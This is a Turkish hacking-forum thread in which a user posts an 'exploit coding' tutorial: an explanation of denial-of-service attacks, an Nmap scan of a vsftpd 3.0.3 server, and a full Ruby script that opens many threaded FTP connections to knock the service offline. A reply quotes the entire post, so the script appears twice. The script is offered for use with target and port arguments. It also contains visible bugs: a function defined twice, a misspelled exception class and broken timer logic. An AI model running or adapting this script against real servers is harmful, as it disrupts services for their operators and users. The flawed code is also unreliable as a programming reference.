Exploit Kodlamak [Eğitim Serisi #2] (Gerçek Senaryo)

Bunjo

Uzman üye
14 Ara 2020
1,591
1,892
I Won
Merhaba ben BUNJO, bu eğitimimizde hedef ftp servisinde bulduğumuz bir DoS açığından yararlanarak bu açığı sömüren bir exploit yazacağız. Not: sisteminiz kötü ise exploiti çalıştırmanızı asla önermem. Öncelikle "DoS" saldırısının ne olduğunu öğrenelim.

DOS (Denial of Service) saldırısı, bir bilgisayar sistemine veya ağa yoğun bir şekilde trafiği artırarak, kaynakları tüketerek veya hizmetleri bozarak erişimi engellemeyi amaçlayan bir siber saldırı türüdür. Temel olarak, saldırganlar, hedef sistem veya ağın kapasitesini aşacak kadar çok sayıda talep veya trafiği başlatarak normal çalışmasını engellemeye çalışırlar.

DOS saldırıları, genellikle aşağıdaki temel türlerden birine dayanır:

  1. Bandwidth Exhaustion (Bant Genişliği Tükenmesi): Saldırganlar, hedef sistem veya ağa büyük miktarda veri trafiği göndererek bant genişliğini tüketmeye çalışır. Bu, meşru kullanıcıların hedefe erişmesini zorlaştırır.
  2. Resource Exhaustion (Kaynak Tükenmesi): Saldırganlar, hedef sistemin kaynaklarını, özellikle CPU, bellek veya disk alanını aşırı derecede kullanarak tüketmeye çalışır. Bu da hedefin normal işlemlerini yürütmesini engeller.
  3. Protocol Exploitation (Protokol Sömürüsü): Belirli bir protokolündeki zayıflıkları veya hataları kullanarak saldırı gerçekleştirme. Örneğin, ağ protokollerindeki güvenlik açıklarını kullanarak kaynakları tüketme.
  4. Connection Exhaustion (Bağlantı Tükenmesi): Saldırganlar, hedef sistemdeki tüm kullanılabilir bağlantı noktalarını doldurarak yeni bağlantıların oluşturulmasını engellemeye çalışır.
  5. Distributed Denial of Service (DDoS): Birçok farklı kaynaktan eş zamanlı olarak başlatılan DOS saldırısı. Botnet adı verilen uzaktan kontrol edilen bir grup bilgisayar veya cihaz, koordineli bir şekilde saldırıyı gerçekleştirir.
DOS saldırıları, hedef sistem veya ağa ciddi zarar verebilir, hizmet kesintilerine neden olabilir ve güvenlik açıklarını sömürerek bilgi sızdırma girişimlerini içerebilir. Bu tür saldırılara karşı korunma önlemleri, güvenlik duvarları, saldırı tespit ve önleme sistemleri (IDPS), trafik filtreleme ve yedekleme hizmetleri gibi güvenlik çözümlerini içerebilir.

Şimdi senaryomuza başlayalım ve exploitimizi kodlayalım.

1- Hedef sistemde açık aramak istiyorum ve bunun üzerine "Nmap" aracı ile bir port taraması gerçekleştiriyorum.



2- Aşağıdaki çıktıyı elde ediyorum ve daha detaylı bakmak için "-vvv -A" parametrelerini koduma ekliyorum.

PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.3

Bilgilendirme: Elde ettiğim çıktıda "ftp-anon: Anonymous FTP login allowed (FTP code 230)" yazısını görüyorum istersem Exploit Kodlamak [Eğitim Serisi #1] (Gerçek senaryo) bu konudan edindiğim bilgiler ile rahat bir şekilde sunucuyu hackleyebilirim fakat bu bir önceki dersin konusuydu.



3- Port sürümünü internette aratıyorum.



CVE - Search Results bu sitede yazdığı üzere portta bir "DoS" saldırı açığı olduğunu anlıyorum ve bu açığı istismar etmek için exploitimi yazmaya geçiyorum.

Kodu detaylı bir şekilde açıkladım eğer anlamadıysanız profilimden vermiş olduğum "Üst Düzey Ruby Eğitimi" konularını okuyabilirsiniz.

Ruby:
require 'socket'
require 'thread'
require 'open3'

$usage = "#{File.basename($0)} <target> Port (default:21) Connects (default: 75)." # nasıl kullanılacağını yazdırdık.
$example_use = "ruby exploit.rb 10.0.2.4 21 100" # örnek kullanım oluşturduk.

def port_test_on_host(target, port)
  socket_to_test_host = TCPSocket.new(target, port)
  socket_to_test_host.close
  return 0
rescue Errno::ECONNREFUSED
  puts "Port #{port} isn't open."
  exit(1) # port kapalı olduğu için 1 çıkış kodu döndürerek hatalı çıkış yap.
end

def attack(target, port, id)
  begin
    Open3.capture3("ftp #{target} #{port}") # Çıktıyı capture eder.
  rescue StandartError => e
    # hata yansıtılsın istemediğimiz için bunu koyuyoruz.
  rescue ThreadError => e
  
  end
end

def attack(target, port, conns) # Saldırıyı başlatma fonksiyonu.
  start = Time.now # şuanki saati değişkene atadık.
  timer_thread = Thread.new { timer(target, port) } # Threading kullanarak işlemi yaptırdık threadingi daha sonra anlatacağım.
 
  while true
    begin
    (1..conns+2).each do |i| # saldırıları arttırarak sürekli istek yolladık.
      Thread.new { attack(target, port, i) }
    end

    timer_thread.join # her bir isteği çalıştırdık.
    break
    rescue ThreadError => e
   end
  end
end

def timer(target, port)
  start = Time.now
  while true
    if start < Time.now + 1500
      next
    else
      Open3.capture3("pkill ftp")
      Thread.new { attack(target, port) }
      break
    end
  end
end

def main
  target = ARGV[0]
 
  if target.nil?
    puts $usage
    puts $example_use
    exit
  end

  port = (ARGV[1] || 21).to_i
  conns = (ARGV[2] || 75).to_i

  puts "Testing #{port} port on #{target} if is open."
  port_test_on_host(target, port)
  puts "Port #{port} is open, starting attack.."
  sleep(2)
  puts "DoS attack started on #{target}:#{port}"

  attack(target, port, conns)
end

main

4- Exploitimi kullanmaya geçiyorum.



verilen parametrele uygun şekilde argümanlarımı gönderiyorum (sanal makinedir saati dikkate almayınız.)



ben sanal makinede olduğum için tabii kasıyor eğer sizinde sisteminiz düşükse kodu incelemeniz yetecektir anlamak için açmanıza gerek yok.

exploit çalışıyor mu diye "wireshark" aracından ağ trafiğini izliyorum:



ve çalıştığını görüyorum.

Bu eğitimde de anlatacaklarım bu kadardı saat geç olduğu için kusurlarım olduysa beni hatalı görebilirsiniz. Bir sonraki derste yine sizinle olacağım teşekkür ederim.

Not: Ruby eğitimine gelen mesajlar doğrultusunda eğitim ilerleyecek, ruby eğitimi ilerledikçe exploit kodlama içeriğide üst basamaklara çıkacaktır.
 
Son düzenleme:

drjacob

Uzman üye
21 Ocak 2012
1,782
409
localhost
Merhaba ben BUNJO, bu eğitimimizde hedef ftp servisinde bulduğumuz bir DoS açığından yararlanarak bu açığı sömüren bir exploit yazacağız. Not: sisteminiz kötü ise exploiti çalıştırmanızı asla önermem. Öncelikle "DoS" saldırısının ne olduğunu öğrenelim.

DOS (Denial of Service) saldırısı, bir bilgisayar sistemine veya ağa yoğun bir şekilde trafiği artırarak, kaynakları tüketerek veya hizmetleri bozarak erişimi engellemeyi amaçlayan bir siber saldırı türüdür. Temel olarak, saldırganlar, hedef sistem veya ağın kapasitesini aşacak kadar çok sayıda talep veya trafiği başlatarak normal çalışmasını engellemeye çalışırlar.

DOS saldırıları, genellikle aşağıdaki temel türlerden birine dayanır:

  1. Bandwidth Exhaustion (Bant Genişliği Tükenmesi): Saldırganlar, hedef sistem veya ağa büyük miktarda veri trafiği göndererek bant genişliğini tüketmeye çalışır. Bu, meşru kullanıcıların hedefe erişmesini zorlaştırır.
  2. Resource Exhaustion (Kaynak Tükenmesi): Saldırganlar, hedef sistemin kaynaklarını, özellikle CPU, bellek veya disk alanını aşırı derecede kullanarak tüketmeye çalışır. Bu da hedefin normal işlemlerini yürütmesini engeller.
  3. Protocol Exploitation (Protokol Sömürüsü): Belirli bir protokolündeki zayıflıkları veya hataları kullanarak saldırı gerçekleştirme. Örneğin, ağ protokollerindeki güvenlik açıklarını kullanarak kaynakları tüketme.
  4. Connection Exhaustion (Bağlantı Tükenmesi): Saldırganlar, hedef sistemdeki tüm kullanılabilir bağlantı noktalarını doldurarak yeni bağlantıların oluşturulmasını engellemeye çalışır.
  5. Distributed Denial of Service (DDoS): Birçok farklı kaynaktan eş zamanlı olarak başlatılan DOS saldırısı. Botnet adı verilen uzaktan kontrol edilen bir grup bilgisayar veya cihaz, koordineli bir şekilde saldırıyı gerçekleştirir.
DOS saldırıları, hedef sistem veya ağa ciddi zarar verebilir, hizmet kesintilerine neden olabilir ve güvenlik açıklarını sömürerek bilgi sızdırma girişimlerini içerebilir. Bu tür saldırılara karşı korunma önlemleri, güvenlik duvarları, saldırı tespit ve önleme sistemleri (IDPS), trafik filtreleme ve yedekleme hizmetleri gibi güvenlik çözümlerini içerebilir.

Şimdi senaryomuza başlayalım ve exploitimizi kodlayalım.

1- Hedef sistemde açık aramak istiyorum ve bunun üzerine "Nmap" aracı ile bir port taraması gerçekleştiriyorum.



2- Aşağıdaki çıktıyı elde ediyorum ve daha detaylı bakmak için "-vvv -A" parametrelerini koduma ekliyorum.



Bilgilendirme: Elde ettiğim çıktıda "ftp-anon: Anonymous FTP login allowed (FTP code 230)" yazısını görüyorum istersem Exploit Kodlamak [Eğitim Serisi #1] (Gerçek senaryo) bu konudan edindiğim bilgiler ile rahat bir şekilde sunucuyu hackleyebilirim fakat bu bir önceki dersin konusuydu.



3- Port sürümünü internette aratıyorum.



CVE - Search Results bu sitede yazdığı üzere portta bir "DoS" saldırı açığı olduğunu anlıyorum ve bu açığı istismar etmek için exploitimi yazmaya geçiyorum.

Kodu detaylı bir şekilde açıkladım eğer anlamadıysanız profilimden vermiş olduğum "Üst Düzey Ruby Eğitimi" konularını okuyabilirsiniz.

Ruby:
require 'socket'
require 'thread'
require 'open3'

$usage = "#{File.basename($0)} <target> Port (default:21) Connects (default: 75)." # nasıl kullanılacağını yazdırdık.
$example_use = "ruby exploit.rb 10.0.2.4 21 100" # örnek kullanım oluşturduk.

def port_test_on_host(target, port)
  socket_to_test_host = TCPSocket.new(target, port)
  socket_to_test_host.close
  return 0
rescue Errno::ECONNREFUSED
  puts "Port #{port} isn't open."
  exit(1) # port kapalı olduğu için 1 çıkış kodu döndürerek hatalı çıkış yap.
end

def attack(target, port, id)
  begin
    Open3.capture3("ftp #{target} #{port}") # Çıktıyı capture eder.
  rescue StandartError => e
    # hata yansıtılsın istemediğimiz için bunu koyuyoruz.
  rescue ThreadError => e
 
  end
end

def attack(target, port, conns) # Saldırıyı başlatma fonksiyonu.
  start = Time.now # şuanki saati değişkene atadık.
  timer_thread = Thread.new { timer(target, port) } # Threading kullanarak işlemi yaptırdık threadingi daha sonra anlatacağım.
 
  while true
    begin
    (1..conns+2).each do |i| # saldırıları arttırarak sürekli istek yolladık.
      Thread.new { attack(target, port, i) }
    end

    timer_thread.join # her bir isteği çalıştırdık.
    break
    rescue ThreadError => e
   end
  end
end

def timer(target, port)
  start = Time.now
  while true
    if start < Time.now + 1500
      next
    else
      Open3.capture3("pkill ftp")
      Thread.new { attack(target, port) }
      break
    end
  end
end

def main
  target = ARGV[0]
 
  if target.nil?
    puts $usage
    puts $example_use
    exit
  end

  port = (ARGV[1] || 21).to_i
  conns = (ARGV[2] || 75).to_i

  puts "Testing #{port} port on #{target} if is open."
  port_test_on_host(target, port)
  puts "Port #{port} is open, starting attack.."
  sleep(2)
  puts "DoS attack started on #{target}:#{port}"

  attack(target, port, conns)
end

main

4- Exploitimi kullanmaya geçiyorum.



verilen parametrele uygun şekilde argümanlarımı gönderiyorum (sanal makinedir saati dikkate almayınız.)



ben sanal makinede olduğum için tabii kasıyor eğer sizinde sisteminiz düşükse kodu incelemeniz yetecektir anlamak için açmanıza gerek yok.

exploit çalışıyor mu diye "wireshark" aracından ağ trafiğini izliyorum:



ve çalıştığını görüyorum.

Bu eğitimde de anlatacaklarım bu kadardı saat geç olduğu için kusurlarım olduysa beni hatalı görebilirsiniz. Bir sonraki derste yine sizinle olacağım teşekkür ederim.

Not: Ruby eğitimine gelen mesajlar doğrultusunda eğitim ilerleyecek, ruby eğitimi ilerledikçe exploit kodlama içeriğide üst basamaklara çıkacaktır.
elinize sağlık
 

Bunjo

Uzman üye
14 Ara 2020
1,591
1,892
I Won
Kodu anlamakta sıkıntı çekenler ve benimle iletişime geçenler için söylüyorum.


bu konuları inceleyebilirsiniz.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.